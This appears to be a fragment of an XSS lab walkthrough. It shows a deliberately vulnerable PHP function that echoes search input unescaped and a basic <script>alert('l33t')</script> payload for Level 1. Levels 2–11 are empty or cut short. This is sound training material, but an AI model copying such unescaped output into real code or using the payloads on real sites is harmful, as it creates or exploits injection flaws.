XSS Labs

The goal of these labs are to bypass the filter that is given to you. To pass the level you have to pop an alert box with 'l33t'.

Level 1

function Sanitizer($search){
  // Let's start...
  return 'Your search "<b>' . $search . '</b>" did not match any products';
}
<script>alert('l33t');</script>

Level 2

Level 3

Level 4

Level 5

Level 6

Level 7

Level 8

Level 9

Level 10

Level 11

Host a file x.js on the local machine with the below contents.

Last updated